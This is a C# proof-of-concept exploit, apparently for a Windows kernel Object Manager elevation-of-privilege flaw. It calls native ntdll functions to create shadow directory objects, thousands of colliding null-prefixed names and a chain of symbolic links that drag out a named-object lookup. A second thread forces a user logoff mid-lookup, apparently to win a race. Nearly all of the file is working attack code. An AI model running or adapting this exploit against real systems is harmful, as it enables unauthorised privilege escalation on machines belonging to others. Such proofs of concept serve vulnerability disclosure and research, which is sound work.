using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;
using System.Threading;

namespace PoC_ObjectManagerLookup_EoP
{
    class Program
    {
        [Flags]
        public enum AttributeFlags : uint
        {
            None = 0,
            Inherit = 0x00000002,
            Permanent = 0x00000010,
            Exclusive = 0x00000020,
            CaseInsensitive = 0x00000040,
            OpenIf = 0x00000080,
            OpenLink = 0x00000100,
            KernelHandle = 0x00000200,
            ForceAccessCheck = 0x00000400,
            IgnoreImpersonatedDevicemap = 0x00000800,
            DontReparse = 0x00001000,
        }

        [Flags]
        public enum GenericAccessRights : uint
        {
            None = 0,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        };

        [Flags]
        enum DirectoryAccessRights : uint
        {
            Query = 1,
            Traverse = 2,
            CreateObject = 4,
            CreateSubDirectory = 8,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }


        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class UnicodeString
        {
            ushort Length;
            ushort MaximumLength;
            [MarshalAs(UnmanagedType.LPWStr)]
            string Buffer;

            public UnicodeString(string str)
            {
                Length = (ushort)(str.Length * 2);
                MaximumLength = (ushort)((str.Length * 2) + 1);
                Buffer = str;
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtClose(IntPtr handle);

        public sealed class SafeKernelObjectHandle
          : SafeHandleZeroOrMinusOneIsInvalid
        {
            public SafeKernelObjectHandle()
              : base(true)
            {
            }

            public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
              : base(owns_handle)
            {
                SetHandle(handle);
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    NtClose(this.handle);
                    this.handle = IntPtr.Zero;
                    return true;
                }
                return false;
            }
        }

        public enum SecurityImpersonationLevel
        {
            Anonymous = 0,
            Identification = 1,
            Impersonation = 2,
            Delegation = 3
        }

        public enum SecurityContextTrackingMode : byte
        {
            Static = 0,
            Dynamic = 1
        }

        [StructLayout(LayoutKind.Sequential)]
        public sealed class SecurityQualityOfService
        {
            int Length;
            public SecurityImpersonationLevel ImpersonationLevel;
            public SecurityContextTrackingMode ContextTrackingMode;
            [MarshalAs(UnmanagedType.U1)]
            public bool EffectiveOnly;

            public SecurityQualityOfService()
            {
                Length = Marshal.SizeOf(this);
            }
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class ObjectAttributes : IDisposable
        {
            int Length;
            IntPtr RootDirectory;
            IntPtr ObjectName;
            AttributeFlags Attributes;
            IntPtr SecurityDescriptor;
            IntPtr SecurityQualityOfService;

            private static IntPtr AllocStruct(object s)
            {
                int size = Marshal.SizeOf(s);
                IntPtr ret = Marshal.AllocHGlobal(size);
                Marshal.StructureToPtr(s, ret, false);
                return ret;
            }

            private static void FreeStruct(ref IntPtr p, Type struct_type)
            {
                Marshal.DestroyStructure(p, struct_type);
                Marshal.FreeHGlobal(p);
                p = IntPtr.Zero;
            }

            public ObjectAttributes() : this(AttributeFlags.None)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null)
            {
            }

            public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null)
            {
            }

            public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor)
            {
                Length = Marshal.SizeOf(this);
                if (object_name != null)
                {
                    ObjectName = AllocStruct(new UnicodeString(object_name));
                }
                Attributes = attributes;
                if (sqos != null)
                {
                    SecurityQualityOfService = AllocStruct(sqos);
                }
                if (root != null)
                    RootDirectory = root.DangerousGetHandle();
                if (security_descriptor != null)
                {
                    byte[] sd_binary = new byte[security_descriptor.BinaryLength];
                    security_descriptor.GetBinaryForm(sd_binary, 0);
                    SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length);
                    Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length);
                }
            }

            public void Dispose()
            {
                if (ObjectName != IntPtr.Zero)
                {
                    FreeStruct(ref ObjectName, typeof(UnicodeString));
                }
                if (SecurityQualityOfService != IntPtr.Zero)
                {
                    FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService));
                }
                if (SecurityDescriptor != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(SecurityDescriptor);
                    SecurityDescriptor = IntPtr.Zero;
                }
                GC.SuppressFinalize(this);
            }

            ~ObjectAttributes()
            {
                Dispose();
            }
        }

        public static void StatusToNtException(int status)
        {
            if (status < 0)
            {
                throw new NtException(status);
            }
        }

        public class NtException : ExternalException
        {
            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern IntPtr GetModuleHandle(string modulename);

            [Flags]
            enum FormatFlags
            {
                AllocateBuffer = 0x00000100,
                FromHModule = 0x00000800,
                FromSystem = 0x00001000,
                IgnoreInserts = 0x00000200
            }

            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern int FormatMessage(
              FormatFlags dwFlags,
              IntPtr lpSource,
              int dwMessageId,
              int dwLanguageId,
              out IntPtr lpBuffer,
              int nSize,
              IntPtr Arguments
            );

            [DllImport("kernel32.dll")]
            private static extern IntPtr LocalFree(IntPtr p);

            private static string StatusToString(int status)
            {
                IntPtr buffer = IntPtr.Zero;
                try
                {
                    if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
                        GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
                    {
                        return Marshal.PtrToStringUni(buffer);
                    }
                }
                finally
                {
                    if (buffer != IntPtr.Zero)
                    {
                        LocalFree(buffer);
                    }
                }
                return String.Format("Unknown Error: 0x{0:X08}", status);
            }

            public NtException(int status) : base(StatusToString(status))
            {
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtCreateDirectoryObjectEx(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes, IntPtr ShadowDirectory, int flags);

        [DllImport("ntdll.dll")]
        static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

        static SafeKernelObjectHandle CreateDirectory(SafeKernelObjectHandle root, string path, SafeKernelObjectHandle ShadowDirectory)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, root, null, null))
            {
                IntPtr handle;
                IntPtr shadow = ShadowDirectory != null ? ShadowDirectory.DangerousGetHandle() : IntPtr.Zero;
                StatusToNtException(NtCreateDirectoryObjectEx(out handle, DirectoryAccessRights.GenericAll, obja, shadow, 0));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtCreateSymbolicLinkObject(
            out IntPtr LinkHandle,
            GenericAccessRights DesiredAccess,
            ObjectAttributes ObjectAttributes,
            UnicodeString DestinationName
        );

        static SafeKernelObjectHandle CreateSymbolicLink(SafeKernelObjectHandle directory, string path, string target)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null))
            {
                IntPtr handle;
                StatusToNtException(NtCreateSymbolicLinkObject(out handle, GenericAccessRights.MaximumAllowed, obja, new UnicodeString(target)));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        public sealed class DisposableList<T> : List<T>, IDisposable where T : IDisposable
        {
            public DisposableList()
            {
            }

            public DisposableList(int capacity) : base(capacity)
            {
            }

            public DisposableList(IEnumerable<T> collection) : base(collection)
            {
            }

            #region IDisposable Support
            private bool disposedValue = false;
            private void Dispose(bool disposing)
            {
                if (!disposedValue)
                {
                    foreach (IDisposable entry in this)
                    {
                        entry.Dispose();
                    }

                    disposedValue = true;
                }
            }

            ~DisposableList()
            {
                Dispose(false);
            }

            public void Dispose()
            {
                Dispose(true);
                GC.SuppressFinalize(this);
            }
            #endregion
        }

        static DisposableList<SafeKernelObjectHandle> CreateDirShadow(string root_path)
        {
            DisposableList<SafeKernelObjectHandle> dirs = new DisposableList<SafeKernelObjectHandle>(2);
            dirs.Add(CreateDirectory(null, root_path, null));
            dirs.Add(CreateDirectory(dirs[0], "A", dirs[0]));
            return dirs;
        }

        static DisposableList<SafeKernelObjectHandle> BuildSymlinks(SafeKernelObjectHandle root, string dir_name, int count, string final_target)
        {
            DisposableList<SafeKernelObjectHandle> links = new DisposableList<SafeKernelObjectHandle>(count);
            if (count < 1)
            {
                throw new ArgumentException("Count must be > 0");
            }

            try
            {
                for (int i = 0; i < count - 1; ++i)
                {
                    links.Add(CreateSymbolicLink(root, String.Format("{0}", i), String.Format(@"{0}\{1}", dir_name, i + 1)));
                }
                links.Add(CreateSymbolicLink(root, String.Format("{0}", count - 1), final_target));
                return links;
            }
            catch
            {
                links.Dispose();
                throw;
            }
        }

        static DisposableList<SafeKernelObjectHandle> CreateCollidingEntries(SafeKernelObjectHandle root_dir, int count, string base_name)
        {
            DisposableList<SafeKernelObjectHandle> dirs = new DisposableList<SafeKernelObjectHandle>(count);
            try
            {
                while (count > 0)
                {
                    dirs.Add(CreateDirectory(root_dir, new string('\0', count) + base_name,
                        null));
                    count--;
                }
            }
            catch
            {
                dirs.Dispose();
                throw;
            }
            return dirs;
        }

        public enum EventType
        {
            NotificationEvent,
            SynchronizationEvent
        }

        [DllImport("ntdll.dll")]
        public static extern int NtCreateEvent(
            out SafeKernelObjectHandle EventHandle,
            GenericAccessRights DesiredAccess,
            ObjectAttributes ObjectAttributes,
            EventType EventType,
            bool InitialState);

        [DllImport("ntdll.dll")]
        public static extern int NtOpenEvent(
            out SafeKernelObjectHandle EventHandle,
            GenericAccessRights DesiredAccess,
            ObjectAttributes ObjectAttributes);

        static SafeKernelObjectHandle CreateEvent(SafeKernelObjectHandle root, string name)
        {
            using (ObjectAttributes obja = new ObjectAttributes(name, AttributeFlags.CaseInsensitive, root, null, null))
            {
                SafeKernelObjectHandle ret;
                StatusToNtException(NtCreateEvent(out ret, GenericAccessRights.MaximumAllowed, obja, EventType.NotificationEvent, false));
                return ret;
            }
        }

        static SafeKernelObjectHandle OpenEvent(SafeKernelObjectHandle root, string name)
        {
            using (ObjectAttributes obja = new ObjectAttributes(name, AttributeFlags.CaseInsensitive, root, null, null))
            {
                SafeKernelObjectHandle ret;
                StatusToNtException(NtOpenEvent(out ret, GenericAccessRights.MaximumAllowed, obja));
                return ret;
            }
        }

        static void DoTestLinearWithShadowAndSymlinksAndCollisions(EventWaitHandle ev, int dir_count, int symlink_count, int collision_count)
        {
            Console.Error.WriteLine("[INFO] Building directories and symbolic links");
            using (DisposableList<SafeKernelObjectHandle> dirs = CreateDirShadow(@"\BaseNamedObjects\A"))
            {
                using (var colliding = new DisposableList<SafeKernelObjectHandle>())
                {
                    foreach (SafeKernelObjectHandle next_dir in dirs)
                    {
                        var new_dirs = CreateCollidingEntries(next_dir, collision_count, "A");
                        colliding.AddRange(new_dirs);
                        new_dirs.Clear();
                    }
                                        
                    using (SafeKernelObjectHandle e = CreateEvent(dirs.Last(), "B"))
                    {
                        StringBuilder builder = new StringBuilder();
                        builder.Append(@"\BaseNamedObjects\A\A");
                        for (int i = 0; i < dir_count; ++i)
                        {
                            builder.Append(@"\A");
                        }

                        using (var links = BuildSymlinks(dirs.Last(), builder.ToString(), symlink_count, builder.ToString() + @"\B"))
                        {
                            Console.Error.WriteLine("[INFO] Setup directory structure, about to open event");
                            ev.Set();
                            Stopwatch stopWatch = new Stopwatch();
                            stopWatch.Start();
                            using (SafeKernelObjectHandle e2 = OpenEvent(dirs.Last(), "0"))
                            {
                                stopWatch.Stop();
                                Console.WriteLine("Opened Event in {0}ms", stopWatch.ElapsedMilliseconds);
                            }
                        }
                    }
                }
            }
        }

        const int EWX_LOGOFF = 0;
        const int EWX_FORCEIFHUNG = 0x10;

        [DllImport("user32.dll")]
        [return: MarshalAs(UnmanagedType.Bool)]
        static extern bool ExitWindowsEx(
            int uFlags,
            int dwReason
        );

        static void LogoutThread(object ev)
        {
            EventWaitHandle wait = (EventWaitHandle)ev;
            wait.WaitOne();
            Thread.Sleep(2000);
            ExitWindowsEx(EWX_FORCEIFHUNG, 0);
        }

        static void Main(string[] args)
        {
            try
            {
                EventWaitHandle ev = new EventWaitHandle(false, EventResetMode.AutoReset);
                Thread t = new Thread(LogoutThread);
                t.Start(ev);
                DoTestLinearWithShadowAndSymlinksAndCollisions(ev, 16000, 63, 16000);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }
    }
}